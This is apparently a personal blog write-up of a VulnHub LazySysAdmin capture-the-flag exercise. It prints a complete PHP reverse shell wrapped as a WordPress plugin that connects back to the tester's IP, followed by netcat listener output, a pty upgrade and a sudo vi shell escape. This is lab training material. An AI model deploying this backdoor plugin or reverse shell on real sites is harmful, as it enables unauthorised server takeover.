In this post https://neilsec.com/ctf/vulnhub-lazysysadmin-1-ctf-attempt/ I had a crack at the LazySysAdmin VM from VulnHub and found the hidden flag.
However it seemed a bit odd/easy to just enumerate some website directories and find a password, whilst ignoring all the WordPress and myphpadmin bits. So I thought I’d have another look at it to see if there were other ways of rooting the box.
Back to WordPress
So going back to the WordPress site, I had a go at the login page using the credentials. WPSCAN had earlier told us that Admin was a valid username and so I tried the database password and got in.
The eagle-eyed will notice the IP address has changed but that’s just me putting the VMs on a different network.
OK so being in WordPress doesn’t allow automatic access to the server it’s on. So we need to get some code and what with it being an php driven app, a php shell would seem appropriate. I used one on this CTF that worked nicely so I’ll have a go with that. How to get it in though. The obvious target is WordPress’s plugin system which accepts php natively. So a bit of research required in that direction.
This site: https://www.r00tsec.com/2015/08/howto-create-backdoor-in-wordpress.html
gives some handy info. A WP plugin is nothing more than a php file with a bit of text added to it at the start of the php file and then compressed to a zip format. The text you apparently need to add looks something like:
<?php /* Plugin Name: PHP Shell Plugin URI: https://awebaddress.com Description: A php shell Version: 1234 Author: somedomain.org Author URI: https://developer.wordpress.org/ License: GPL2 License URI: https://www.gnu.org/licenses/gpl-2.0.html Text Domain: wporg Domain Path: /languages */
So the complete file including Pentest Monkey’s PHP shell and my IP settings looks like this:
<?php /* * Plugin Name: My Shell * Plugin URI: https://neilsec.com * Description: A PHP Reverse Shell * Author: some guy * Version: 1.0 * Author URI: https://neilsec.com * */ set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.99.128'; // CHANGE THIS $port = 9999; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
Now I just need to zip it up and see if wordpress will accept it as a plugin.
Set up the netcat listener on the relevant port and:
root@kali2017-1:~# nc -nvlp 9999 listening on [any] 9999 ... connect to [192.168.99.128] from (UNKNOWN) [192.168.99.129] 51772 Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux 02:05:13 up 11 min, 0 users, load average: 0.02, 0.01, 0.00 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Now drop the python command I used on a previous CTF to spawn a proper tty shell and we have an interactive shell.
$ python -c 'import pty; pty.spawn("/bin/sh")' $ ls ls bin dev home lib media old proc run srv tmp var boot etc initrd.img lost+found mnt opt root sbin sys usr vmlinuz $
However now I’m logged in under the website account www-data. I don’t know how to elevate my account other than to switch users to “togie” and use his password. If I work out how to do it without that I’ll revisit it again. If anyone reads this and has any suggestions – please comment 🙂
I did check out the phpmyadmin page but the credentials didn’t seem to have any ability to do anything useful so I’ve not bothered reporting on that.
$ sudo vi test.txt
:shell